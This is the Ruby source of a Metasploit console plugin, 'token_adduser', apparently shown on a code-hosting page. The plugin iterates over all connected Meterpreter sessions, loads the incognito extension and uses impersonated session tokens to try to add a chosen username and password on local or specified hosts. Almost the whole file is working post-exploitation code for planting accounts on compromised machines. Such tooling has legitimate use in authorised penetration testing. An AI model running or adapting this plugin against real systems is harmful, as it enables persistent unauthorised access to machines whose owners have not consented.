token_adduser.rb 2.9 KB

123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899100101102103104105106107108109110
  1. #
  2. # $Id$
  3. #
  4. # This is a modified version of token_hunter.rb. Credit to
  5. # jduck (I believe) for much of the base code here.
  6. #
  7. # The goal of this script is to attempt to add a user via
  8. # incognito using all connected meterpreter sessions.
  9. #
  10. # jseely[at]relaysecurity.com
  11. #
  12. # TODO: This should probably find new life as a post module.
  13. module Msf
  14. class Plugin::TokenAdduser < Msf::Plugin
  15. class TokenCommandDispatcher
  16. include Msf::Ui::Console::CommandDispatcher
  17. def name
  18. 'Token Adduser'
  19. end
  20. def commands
  21. {
  22. 'token_adduser' => 'Attempt to add an account using all connected meterpreter session tokens'
  23. }
  24. end
  25. def cmd_token_adduser(*args)
  26. opts = Rex::Parser::Arguments.new(
  27. '-h' => [ true, 'Add account to host']
  28. )
  29. # This is ugly.
  30. if args.empty?
  31. print_line('Usage: token_adduser [options] <username> <password>')
  32. print_line(opts.usage)
  33. return
  34. end
  35. opt_user_pass = []
  36. username = nil
  37. password = nil
  38. host = nil
  39. opts.parse(args) do |opt, _idx, val|
  40. case opt
  41. when '-h'
  42. host = val
  43. else
  44. # Excuse my weak ruby skills. I'm sure there's a better way to get username and password
  45. # from the args.
  46. opt_user_pass << val
  47. end
  48. end
  49. # Again, I'm sure there's a better way to do this.
  50. username = opt_user_pass[0]
  51. password = opt_user_pass[1]
  52. framework.sessions.each_key do |sid|
  53. session = framework.sessions[sid]
  54. next unless session.type == 'meterpreter'
  55. print_status(">> Opening session #{session.sid} / #{session.session_host}")
  56. unless session.incognito
  57. session.core.use('incognito')
  58. end
  59. unless session.incognito
  60. print_status("!! Failed to load incognito on #{session.sid} / #{session.session_host}")
  61. next
  62. end
  63. # print "DEBUG #{username} #{password}\n"
  64. res = session.incognito.incognito_add_user(host, username, password)
  65. next unless res
  66. print "#{res}\n"
  67. # Currently only stops on success if a user is trying to be added to a specific
  68. # host. I can't think of a good reason to stop on success (or even make it an option)
  69. # when trying to add a user to local sessions.
  70. if host && (res =~ /\[\+\] Successfully|\[-\] Password does not meet complexity requirements|\[-\] User already exists/)
  71. break
  72. end
  73. end
  74. end
  75. end
  76. def initialize(framework, opts)
  77. super
  78. add_console_dispatcher(TokenCommandDispatcher)
  79. end
  80. def cleanup
  81. remove_console_dispatcher('Token Adduser')
  82. end
  83. def name
  84. 'token_adduser'
  85. end
  86. def desc
  87. 'Attempt to add an account using all connected Meterpreter session tokens'
  88. end
  89. end
  90. end